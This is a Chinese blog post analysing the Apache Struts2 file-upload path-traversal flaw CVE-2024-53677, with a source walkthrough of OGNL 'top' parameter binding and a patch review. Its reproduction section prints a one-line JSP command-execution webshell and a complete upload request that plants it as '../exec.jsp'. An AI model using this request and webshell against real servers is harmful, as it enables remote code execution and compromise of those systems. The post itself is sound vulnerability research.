Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

admin 2024年12月23日14:59:44评论232 views字数 3304阅读11分0秒阅读模式

1. 前言

官方公告:https://cwiki.apache.org/confluence/display/WW/S2-067

漏洞描述:
Apache Struts 的文件上传逻辑存在缺陷,如果应用程序使用了 FileUploadInterceptor,在进行文件上传时,攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能导致上传可用于执行远程代码执行的恶意文件。

影响版本:
Apache Struts:           
    2.0.0 - 2.3.37(EOL)
    2.5.0 - 2.5.33 
    6.0.0 - 6.3.0.2

2. 环境搭建

可以参考《Apache Struts2 文件上传漏洞分析(CVE-2023-50164)》
将 pom.xml 中 Struts2 的版本改为 6.3.0.2 即可。
<dependency>      <groupId>org.apache.struts</groupId>      <artifactId>struts2-core</artifactId>      <version>6.3.0.2</version>    </dependency>

3. 漏洞复现

同样准备一个jsp木马文件。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Apache Struts2 文件上传漏洞分析(CVE-2024-53677)
上传木马文件抓包,在下面添加一个参数,参数名设置为top.MyfileFileName,参数内容设置为木马文件保存的相对位置及文件名。
从响应包可以看到文件名覆盖成功。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

请求包:

POST /upload.action HTTP/1.1            Host: 127.0.0.1:8888            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2            Accept-Encoding: gzip, deflate, br            Content-Type: multipart/form-data; boundary=---------------------------3701280597827013112747531662            Content-Length: 438            Origin: http://127.0.0.1:8888            Connection: keep-alive            Referer: http://127.0.0.1:8888/upload.action            Cookie: JSESSIONID=4209098B9C419F73225118698688A603            Upgrade-Insecure-Requests: 1            Priority: u=0, i            -----------------------------3701280597827013112747531662            Content-Disposition: form-data; name="Myfile"; filename="S2-067.txt"            Content-Type: text/plain <%Runtime.getRuntime().exec(request.getParameter("i"));%>            -----------------------------3701280597827013112747531662            Content-Disposition: form-data; name="top.MyfileFileName";             Content-Type: text/plain ../exec.jsp            -----------------------------3701280597827013112747531662--

文件保存到了/uploads目录下,且文件名保存为构造传入的exec.jsp

访问jsp文件,能成功执行命令。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

4. 漏洞分析

经过对 S66 漏洞的修复,已经不能再使用大小写来二次调用属性的 setter 方法了。学习了 y4tacker 师傅的思路,通过先获取 OgnlValueStack 值栈中的栈顶对象,再访问其属性。           
有三种形式获取栈顶对象:
[0]top[0].top

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

但是在参数绑定之前,会对参数进行合规校验,其中有条正则如下,要求([d+])前面还需要存在一些其他字符,所以[0][0].top都无法通过参数合规性判断,所以只能使用top来获取栈顶对象。           

w+((.w+)|([d+])|((d+))|(['(w-?|[u4e00-u9fa5]-?)+'])|(('(w-?|[u4e00-u9fa5]-?)+')))*

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

前面部分的参数处理就不细说了,再看下 S66 那篇分析就可以了。这里就只看一下如何处理的top节点。           

从 ParametersInterceptor.setParameters() 看起,对 OgnlValueStack 对象进行参数绑定。           
可以看到,TreeMap 对象中,top.MyfileFileName 参数是排在最后一位的,这时前面三个参数都已经绑定完成了,这时 MyfileFileName 参数的是
S2-067.txt

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

跟进到 OgnlUtil.compileAndExecute(),对 top.MyfileFileName 进行表达式解析并执行。(解析为链式节点ASTChain)

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

跟进到 ASTChain.setValueBody(),遍历处理子节点。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

先获取 top 节点的值,到 CompoundRootAccessor.getProperty() 中有这样一段 if 判断,如果子节点为 top,root 不为空,就返回栈顶对象,即 UploadAction。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

接着就是为 UploadAction 对象的 MyfileFileName 属性设置值,ObjectPropertyAccessor.setPossibleProperty() 中尝试去调用 setter 方法。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

ConcurrentHashMap.get(),从缓存中先获取到 UploadAction 的所有 setter 方法,再从中获取 setMyfileFileName() 并返回。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

接着调用 setMyfileFileName()。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

myfieFileName 被覆盖为../exec.jsp,后续解析路径穿越符,于是上传保存的文件路径就是/uploads/exec.jsp

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

5. 补丁分析

官方并没有针对这次利用方法发布补丁,而是在新版本中推出了新的文件上传拦截机制。           
org.apache.struts2.interceptor.ActionFileUploadInterceptor  https://struts.apache.org/core-developers/action-file-upload
ActionFileUploadInterceptor 中直接从文件中获取参数信息,并没有把文件参数与请求中的参数进行合并。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

不过在执行 ActionFileUploadInterceptor 拦截器前,先执行了 FileUploadInterceptor,所以请求中构造的 top.MyfileFileName 还是被合并到了参数中。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

在参数绑定过程中仍然会覆盖 MyfileFileName 的值。

Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

参考链接:https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

原文始发于微信公众号(中孚安全技术研究):Apache Struts2 文件上传漏洞分析(CVE-2024-53677)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月23日14:59:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2 文件上传漏洞分析(CVE-2024-53677)https://cn-sec.com/archives/3534970.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息